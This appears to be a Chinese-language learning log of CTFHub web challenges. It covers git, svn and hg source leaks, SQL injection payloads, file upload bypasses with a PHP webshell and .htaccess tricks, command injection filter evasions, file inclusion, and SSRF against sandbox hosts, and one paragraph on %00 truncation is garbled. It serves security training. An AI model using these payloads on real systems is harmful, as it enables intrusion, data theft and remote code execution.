参考链接
-操作系统
-数据库
-HTML/CSS
-程序语言
1)HTTP Method 是可以自定义的,并且区分大小写
可以通过抓包更改其HTTP的方法
2)kali系统中的curl命令实现抓包(curl支持几乎所有操作系统)
常用命令:-v是详细信息 -X是指定请求方法
curl参考一 curl参考二
关于302的题:
相关知识点
1)baidu
302 Found,原始描述短语为 Moved Temporarily ,是HTTP协议中的一个状态码(Status Code)。可以简单的理解为该资源原本确实存在,但已经被临时改变了位置;换而言之,就是请求的资源暂时驻留在不同的URI下,故而除非特别指定了缓存头部指示,该状态码不可缓存。一个暂时重定向是一种服务器端的重定向,能够被搜索引擎蜘蛛正确地处理。
2) csdn
详细来说,301和302状态码都表示重定向,就是说浏览器在拿到服务器返回的这个状态码后会自动跳转到一个新的URL地址,这个地址可以从响应的Location首部中获取(用户看到的效果就是他输入的地址A瞬间变成了另一个地址B)——这是它们的共同点。他们的不同在于。301表示旧地址A的资源已经被永久地移除了(这个资源不可访问了),搜索引擎在抓取新内容的同时也将旧的网址交换为重定向之后的网址;302表示旧地址A的资源还在(仍然可以访问),这个重定向只是临时地从旧地址A跳转到地址B,搜索引擎会抓取新的内容而保存旧的网址。
知识点:cookie欺骗、认证、伪造
cookie结合xss、csrf的知识点有点多,有待后续补充
举例:报文中的Cookie是可以被修改
关键点:
1、用户名和密码是由base64加密,在Authorization中
2、WWW-Authenticate: Basic realm="Secure Area"是提示信息,“ ”中是提示内容
3、批量base64加密
去了解base64包
F12能调出控制台
知识点:HTTP响应包源代码
虚拟机
BurpSuite
Chrome
WebShell
菜刀类工具
端口扫描
远程连接
目录爆破
目录遍历漏洞,可以通过谷歌语法批量发现,如:
intitle:Index of
intext:Parent Directory
这个算是低危的信息泄露,能够泄露一部分服务器的配置,比如说禁用了哪些函数。
开发者在线上环境对源代码进行了备份操作,并且将备份文件放在了web目录下,就会引起网站源码泄露
备份文件下载-网站源码
可能有点用的提示
常见的网站源码备份文件后缀
常见的网站源码备份文件名
使用工具dirsearch扫描
=>扫描到www.zip,打开压缩包,发现TXT文件
带上TXT直接访问URL得flag
得flag
当开发者在线上环境使用vim编辑器,在使用的过程中会留下vim编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露
参考博客
在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php 为例:
第一次产生的交换文件名为 .index.php.swp
再次意外退出后,将会产生名为 .index.php.swo 的交换文件
第三次产生的交换文件则为 .index.php.swn
题目是index.php了,所以猜测为: .index.php.swp
(注意前面的点不要忘记)
打开读取到flag
.DS_Store是Mac OS保存文件夹的自定义属性的隐藏文件。通过.DS_Store
可以知道这个目录里面所有文件的清单且该文件可用记事本打开
直接下载后用笔记本打开
添加链接描述
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了Git泄露
使用scrabble工具
./scrabble http://challenge-4d54fed0301ac99d.sandbox.ctfhub.com:10080/
r
oot@kali:~/safe/tool/scrabble# ./scrabble http://challenge-4d54fed0301ac99d.sandbox.ctfhub.com:10080/
已初始化空的 Git 仓库于 /root/safe/tool/scrabble/.git/
parseCommit 5fe4a2c16066bccd995d737c8095ec702018c95e
downloadBlob 5fe4a2c16066bccd995d737c8095ec702018c95e
parseTree 012ae1fc6b838a345b689ae6bb4ec0edfd517a64
downloadBlob 012ae1fc6b838a345b689ae6bb4ec0edfd517a64
downloadBlob 9071e0a24f654c88aa97a2273ca595e301b7ada5
downloadBlob 2c59e3024e3bc350976778204928a21d9ff42d01
parseCommit 2384aec40e6e4d2c66406502925d830bc74d10b3
downloadBlob 2384aec40e6e4d2c66406502925d830bc74d10b3
parseTree 5338c42854d6c70cebe4e9b308a1ae715bf2923d
downloadBlob 5338c42854d6c70cebe4e9b308a1ae715bf2923d
downloadBlob 9071e0a24f654c88aa97a2273ca595e301b7ada5
downloadBlob 1b1b32cbef34a08c202ef802420d9959afd5f541
downloadBlob 2c59e3024e3bc350976778204928a21d9ff42d01
parseCommit dce6956a6632685a7e5a814481899ee62eceedf6
downloadBlob dce6956a6632685a7e5a814481899ee62eceedf6
parseTree 012ae1fc6b838a345b689ae6bb4ec0edfd517a64
downloadBlob 012ae1fc6b838a345b689ae6bb4ec0edfd517a64
downloadBlob 9071e0a24f654c88aa97a2273ca595e301b7ada5
downloadBlob 2c59e3024e3bc350976778204928a21d9ff42d01
HEAD 现在位于 5fe4a2c remove flag
root@kali:~/safe/tool/scrabble# ls
50x.html index.html LICENSE README.md scrabble
提示log则,使用git log命令查看每个commit修改了哪些文件
root@kali:~/safe/tool/scrabble# git log
commit 5fe4a2c16066bccd995d737c8095ec702018c95e (HEAD -> master)
Author: CTFHub <[email protected]>
Date: Sun Dec 27 03:39:12 2020 +0000
remove flag
commit 2384aec40e6e4d2c66406502925d830bc74d10b3
Author: CTFHub <[email protected]>
Date: Sun Dec 27 03:39:12 2020 +0000
add flag
commit dce6956a6632685a7e5a814481899ee62eceedf6
Author: CTFHub <[email protected]>
Date: Sun Dec 27 03:39:12 2020 +0000
init
可以看到flag文件的变动
root@kali:~/safe/tool/scrabble# git diff HEAD 2384a
与当前版本相比2384a的commit的不同之处
2384a是commit值(写一部分,不冲突即可)
也可以使用git reset -hard命令
root@kali:~/safe/tool/scrabble# git reset --hard 2384a
HEAD 现在位于 2384aec add flag
root@kali:~/safe/tool/scrabble# ls
50x.html 70951307416715.txt index.html LICENSE README.md scrabble
root@kali:~/safe/tool/scrabble# cat 70951307416715.txt
ctfhub{
0dd6cb158d3626e3251e5150}
按上面的思路顺利的一路做下来,但在读取22691213672964.txt文件时:
root@kali:~/safe/tool/scrabble# cat 22691213672964.txt
where is flag
一个幌子
实践了半天,找不到,后来群里说我的工具问题
下载githack
root@kali:~# python GitHack.py http://challenge-f13506201995566c.sandbox.ctfhub.com:10080/.git/
git stash list
git stash pop
或者
git stash apply
使用Githack工具
进入目录直接cat .txt文件,直接出flag
纳闷这么这么简单,看了看其他人的做法
root@kali:~/safe/tool/GitHack/dist/challenge-ecbada29eac4b8a6.sandbox.ctfhub.com_10080# cat 1963936617121.txt
ctfhub{
7e6d812c4063130af98cc6ed}
root@kali:~/safe/tool/GitHack/dist/challenge-ecbada29eac4b8a6.sandbox.ctfhub.com_10080# git ls-files
1963936617121.txt
50x.html
index.html
root@kali:~/safe/tool/GitHack/dist/challenge-ecbada29eac4b8a6.sandbox.ctfhub.com_10080# git ls-files -s
100644 d57fd30c01c15169436221ee6aef8a6da1bf2e64 0 1963936617121.txt
100644 9071e0a24f654c88aa97a2273ca595e301b7ada5 0 50x.html
100644 2c59e3024e3bc350976778204928a21d9ff42d01 0 index.html
root@kali:~/safe/tool/GitHack/dist/challenge-ecbada29eac4b8a6.sandbox.ctfhub.com_10080# git cat-file -p d57fd
ctfhub{
7e6d812c4063130af98cc6ed}
参考资料一 参考资料二
因为题目是index,所以我们考虑到git的index暂存区文件 我们先使用git ls-files查看暂存区里面有哪些文件
当然,index在文件夹里面存在,我们也可以直接打开,不过是乱码 所以我们还是在git 的bash环境中进行操作
接着我们想要查看27741192706094.txt文件内容
首先,我们需要查看27741192706094.txt文件对应的Blob对象,如下: git ls-files -s –
27741192706094.txt 或者直接 git ls-files -s 然后通过Blob对象,查询27741192706094.txt.txt里面的内容: git cat-file -p 441a2
得到flag
参考资料二
当开发者使用SVN进行版本控制,对站点自动部署。如果配置不当,可能 会将.svn文件直接部署到线上环境。这就引起了SVN泄露漏洞
主要知识点:
当svn使用了checkout命令后就会生成.svn文件,里面存储着备份信息。svn信息泄露漏洞主要利用了里面的entrist文件,通过.svn/entrist可以下载里面的所有代码,但是只能作用在svn1.6之前的版本;第二个是作用在svn1.7后的版本,svn1.7后的版本引入一个名为wc.db的数据库数据存放文件来管理文件,通过访问.svn/wc.db可以下载到本地。
这里是svn1.7之后的版本,下载wc.db文件,/.svn/wc.db
root@kali:~/safe/tool/dvcs-ripper# ./rip-svn.pl -u http://challenge-5062aaf2045950c2.sandbox.ctfhub.com:10080/.svn
[i] Found new SVN client storage format!
REP INFO => 1:file:///opt/svn/ctfhub:e43e7ef8-82fb-4194-9673-81c29de69c33
[i] Trying to revert the tree, if you get error, upgrade your SVN client!
已恢复“index.html”
root@kali:~/safe/tool/dvcs-ripper# ls -a
. dvcs-ripper-ctfhub .gitignore index.html README.md rip-cvs.pl rip-hg.pl .svn
.. dvcs-ripper-master.zip hg-decode.pl LICENSE rip-bzr.pl rip-git.pl rip-svn.pl
root@kali:~/safe/tool/dvcs-ripper# cd .svn/
root@kali:~/safe/tool/dvcs-ripper/.svn# ls -a
. .. entries format pristine text-base tmp wc.db wc.db-journal
root@kali:~/safe/tool/dvcs-ripper/.svn# cd pristine
root@kali:~/safe/tool/dvcs-ripper/.svn/pristine# ls -a
. .. bf ca
root@kali:~/safe/tool/dvcs-ripper/.svn/pristine# cd ca
root@kali:~/safe/tool/dvcs-ripper/.svn/pristine/ca# ls -a
. .. cad5d155a7a5b74bf9a8abc56b35495c6aa8ca58.svn-base
root@kali:~/safe/tool/dvcs-ripper/.svn/pristine/ca# cat cad5d155a7a5b74bf9a8abc56b35495c6aa8ca58.svn-base
ctfhub{
6bbe9fa399d3a7ee1905c53c}
安装dvcs-ripper时出错
解决
当开发人员使用Mercurial进行版本控制,对站点自动部署。如果配置不当,有可能会将.hg文件夹直接部署到线上环境。这就造成了HG泄露漏洞
HG泄露漏洞使用dvcs-ripper工具(一款perl的版本控制软件信息泄露利用工具,支持SVN, GIT, Mercurial/hg, bzr…)
rip-hg.pl -u http://challenge-0ecf6f106f3a58be.sandbox.ctfhub.com:10080/.hg/
使用 dvcs-ripper 工具中的 rip-hg.pl 脚本进行 clone.
clone时报错。题目也显示
Flag 在服务端旧版本的源代码中, 不太好使的情况下, 试着手工解决。
writeup
解法一
查看.hg/store/fncache可知 flag 的文件名为flag_88274161.txt,直接访问即可得 flag
解法二
如果服务端删除了 flag 文件的话,那么可尝试从历史记录里寻找。路径是 .hg/store/data/flag__88274161.txt.i 注意下划线是两个(为什么?)
一个登录系统,输入admin,password 得到flag
0x02 默认口令
打开是北京亿中邮信息技术有限公司的邮件网关系统
题目提示默认密码,百度搜索
多次换关键词搜索后, 亿中邮 邮件网关 密码 中搜索到 关于它的弱口令漏洞报告
发现就是该题的原始漏洞
找到默认用户名:eyougw密码:admin@(eyou)
常见的网络安全设备默认密码
查询默认口令的网站
xpath报错只显示32位结果,我们需要借助mid函数来进行字符截取从而显示32位以后的数据。
id=1 and (updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1));
payload:
if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))
脚本爆库名:
解题思路:https://blog.csdn.net/weixin_44732566/article/details/104455318
->题目已经表明是布尔盲注,发现没有闭合,也木有过滤,本来也是道基础题,但是发现回显不对头:
payload:?id=1 and 1 = 2
->回显是query_success
这道题和普通的布尔盲注不一样,一般布尔盲注是数据库查询结果为空或者查询语句报错,回显error。这道题是数据库查询为空,返回还是success,只有当查询语句报错时才返回error。
->寻常and 后面布尔盲注语句就不好使,因为它们是根据查询结果为空来判断。这时候想到用if语句if(expr1,expr2,expr3)
?id=if(1=1,1,union select)
?id=if(1=2,1,union select)
然而报错
->mysql在执行这条语句的时候会先对整体语句进行判断语句是否有错误,这样无论expr1处怎样,都是error。
->那么就可以在expr1处插入判断语句,expr2处放上正确语法的sql语句,expr3处放上错误语法的sql语句
->想到子查询
子查询格式:select * from users where id=(select username from users);
但是这个有个要求就是子查询返回的结果必须只有一条记录,否则就报错
->payload :
?id=if(1=1,1,(select table_name from information_schema.tables))
?id=if(1=2,1,(select table_name from information_schema.tables))
参考
->在?id=1 后面添加 and sleep(10)
这个延迟时间测试是否有时间盲注的时候设长一点,因为是手动测试是否有漏洞,为了避免网络的原因让我们漏掉漏洞,sleep(10)之后可以看到网站有明显的延迟,证明时间盲注存在
->用
id=1 and if((substr(database(),{
0},1)='{1}'),sleep(3),1)
id=1 and if(ascii(substr(database(),{
0},1)='{1}'))
正常的数字注入,只不过表名及字段名是随机码
一般只防get和post方法,如果使用了request方法,该方法会先检查是否有get,post传入数据,没有则使用cookie来传入数据
->通过抓包,或者其他工具来实现cookie注入
或:使用sqlmap注入
使用方法:–level 2
通过修改User Agent来实现注入,如同cookie注入
sqlmap 的 --level 3 会自动检查User-Agent中是否存在注入。
通过修改Refer来实现注入,如同cookie注入
–level参数大于等于3时,会尝试进行refer注入
用/**/能代替空格
过程:
输入1’无回显
0/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())# wodcbmcjcu
0/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='wodcbmcjcu'/**/limit/**/0,1)# wiotvtzvcw
0/**/union/**/select/**/1,(select/**/group_concat(wiotvtzvcw))/**/from/**/wodcbmcjcu#
利用xss平台得到flag
参考
写一句话上传:
eval(_$POST['hacker']); ?> //C刀必须用post方法
方法一:
在浏览器中禁用js插件
Chrome流程:设置->网站设置->JavaScript
方法二:
上传正确的后缀名后,抓包改文件名
MIME原本是指多用途互联网邮件扩展类型。后来被用到了HTTP的Content-Type字段,称为互联网媒体类型
一句话上传,抓包。修改Content-Type为合法类型(image/jpeg)
原理:%00,0x00,/00都属于00截断,利用的是服务器的解析漏洞(ascii中0表示字符串结束),所以读取字符串到00就会停止,认为已经结束。
条件:PHP<5.3.29,且GPC关闭
后端代码;
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);//pathinfo() 函数以数组的形式返回文件路径的信息。
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
// move_uploaded_file($file, $des)把文件file移动到des中
// $_FILES 用于读取HTTP POST上传的数组
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
//$_FILES['file']['tmp_name']文件被上传后在服务端储存的临时文件名,一般是系统默认。
echo "";
} else {
echo "";
}
} else {
echo "文件类型不匹配";
}
}
可以看到,des是最终的文件名,由 G E T [ ′ r o a d ′ ] , / , 随 机 数 , 日 期 , 后 缀 名 组 成 。 其 中 G E T 参 数 r o a d 是 可 控 的 , 所 以 可 以 通 过 _GET['road'],/,随机数,日期,后缀名组成。 其中GET参数road是可控的,所以可以通过%00截断,达到 GET[′road′],/,随机数,日期,后缀名组成。其中GET参数road是可控的,所以可以通过des = G E T [ ′ r o a d ′ ] 的 效 果 拼 接 后 , _GET['road']的效果 拼接后, GET[′road′]的效果拼接后,des = ‘/var/www/html/upload/cmd.php%00/xxYearMoHoMiSe.jpg’,但服务器解析时,00后的字符串会被忽略
–>因此文件名只与road/后相关,不与真实文件名相关
抓包,将文件名改为pphphp,绕过
后台源码:
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
// str_ireplace($search, $replace, $subject)
// 把subject中的所有search替换为replace
文件头检验 是当浏览器在上传文件到服务器的时候,服务器对所上传文件的Content-Type类型进行检测,不同格式的文件开头会有特征值。
思路就是伪造文件头
方法一:用winhex将图片
(JPG)的文件头(FFD8FF)
(PNG)的文件头(89504E47)
复制到一句话文件的最前面
方法二:上传JPG后,抓包,将JPG文件头保留,并加上一句话
注:得将一句话后面的图片数据删除干净
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置,通过.htaccess文件可以实现网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
总结:https://www.cnblogs.com/20175211lyz/p/11741348.html
方法一:
该题是用自己写的.htaccess去覆盖服务器的.htaccess从而允许一些功能。
构造.htaccess,来让服务器把png当作php解析
AddType application/x-httpd-php .png
上传.htaccess(就上边这一句话)–>上传成功
写个一句话shell,然后把后缀改成png --> 上传成功
方法二:
<FilesMatch "2">
SetHandler application/x-httpd-php
</FilesMatch>
上段代码:把名字含2的文件当作php解析
那么上传的2.png就可以作为php用了
->上传.gtaccess ->上传2.png
关键代码:
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
// 传入ip,
$cmd = "ping -c 4 {
$_GET['ip']}";// 运行命令,可以拼接
exec($cmd, $res);// 执行cmd,把结果输出到res
}
根据第3行代码,可以直接拼接命令
->输入&ls,回显flag.php
->输入&cat flag.php 没有正确回显,使用&cat flag.php| base64这可以直接将文件内容以base64回显
或者F12查看源代码,获得flag(flag被特殊字符//注释了,不能在网页正常回显)
知识点:
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more根据窗口大小,一页一页的现实文件内容 l
ess 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
ping命令 :ping -c 4(题目中出现)
-c Count 指定要被发送(或接收)的回送信号请求的数目,由 Count 变量指出。
具体用法
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {
$ip}";
exec($cmd, $res);
在bash下,可以用以下字符代替空格
< 、<>、{ }、%20(空格URL)、%09(tabURL)、$IFS$9、 ${IFS}、$IFS
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {
$ip}";
exec($cmd, $res);
过滤了目录分隔符 / ,那么就 用cd 命令进入对应的目录
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {
$ip}";
exec($cmd, $res);
此时运算符被过滤
方法一:将&改成;
方法二:cat xxx.php | base64 等价于 base64 xxx.php
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {
$ip}";
exec($cmd, $res);
①在URL中用%0a代替【注意防止URL编码】
②空格用${IFS}
③cat用ca’'t
④flat用fla*
连上蚁剑,getFlag
显示代码
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
payload:ctfhub=system('cat /flag');
得到flag
利用提示:php://input post上传木马or命令执行
【hackbar不知道为什么不能post上传数据】
直接用php://filter/convert.base64-encode/resource=../../../../../../flag
①一开始使用flag.php,无回显,发现没注意看提示,该flag无后缀
②足够多的…/确保进入根目录
预期解:包含一台公网服务器里的webshell来getshell
【无自己服务器,放弃】
尝试访问位于127.0.0.1的flag.php吧
进去空白,注意到url
ctfhub.com:10080/?url=_
访问:
http://sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php
get FLAG
尝试去读取一下Web目录下的flag.php吧
依旧进去空白,注意到url
http://sandbox.ctfhub.com:10080/?url=_
题目为web目录下的,故猜测为/var/www/html/
payload:
?url=file:///var/www/html/flag.php
访问显示???,查看源代码getFlag
来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,
利用bp的intruder爆破
写个生成8000-9000的脚本
f=open("1.txt",'w+')
for i in range(8000,9001):
f.write(str(i)+'\n')
f.close()
一开始写
GET /?url=http://challenge-a407d60a592d6507.sandbox.ctfhub.com:§10080§
爆破失败,换成本地才成功
GET /?url=127.0.0.1:§1§ HTTP/1.1
看来得使用本地才行
0x04 Post请求
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
dirsearch扫描
0x05 上传文件
0x06 FastCGI协议
0x07 Redis协议
0x08 URL Bypass
0x09 数字IP Bypass
0x10 302 转跳 Bypass
0x11 DNS重绑定 Bypass
待学习ing